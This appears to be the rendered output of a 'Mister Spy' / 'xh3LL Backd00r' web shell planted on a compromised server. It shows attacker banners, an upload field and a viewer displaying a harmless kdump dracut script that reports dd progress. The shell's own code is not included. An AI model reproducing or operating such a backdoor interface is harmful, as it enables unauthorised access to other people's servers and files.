Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /usr/lib/dracut/modules.d/99kdumpbase/
Upload File :
Current File : //usr/lib/dracut/modules.d/99kdumpbase/monitor_dd_progress

#!/bin/sh

SRC_FILE_MB=$1

while true
do
    DD_PID=`pidof dd`
    if [ -n "$DD_PID" ]; then
        break
    fi
done

while true
do
    sleep 5
    if [ ! -d /proc/$DD_PID ]; then
        break
    fi

    kill -s USR1 $DD_PID
    CURRENT_SIZE=`tail -n 1 /tmp/dd_progress_file | sed "s/[^0-9].*//g"`
    [ -n "$CURRENT_SIZE" ] && {
        CURRENT_MB=$(($CURRENT_SIZE / 1048576))
        echo -e "Copied $CURRENT_MB MB / $SRC_FILE_MB MB\r"
    }
done

rm -f /tmp/dd_progress_file

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat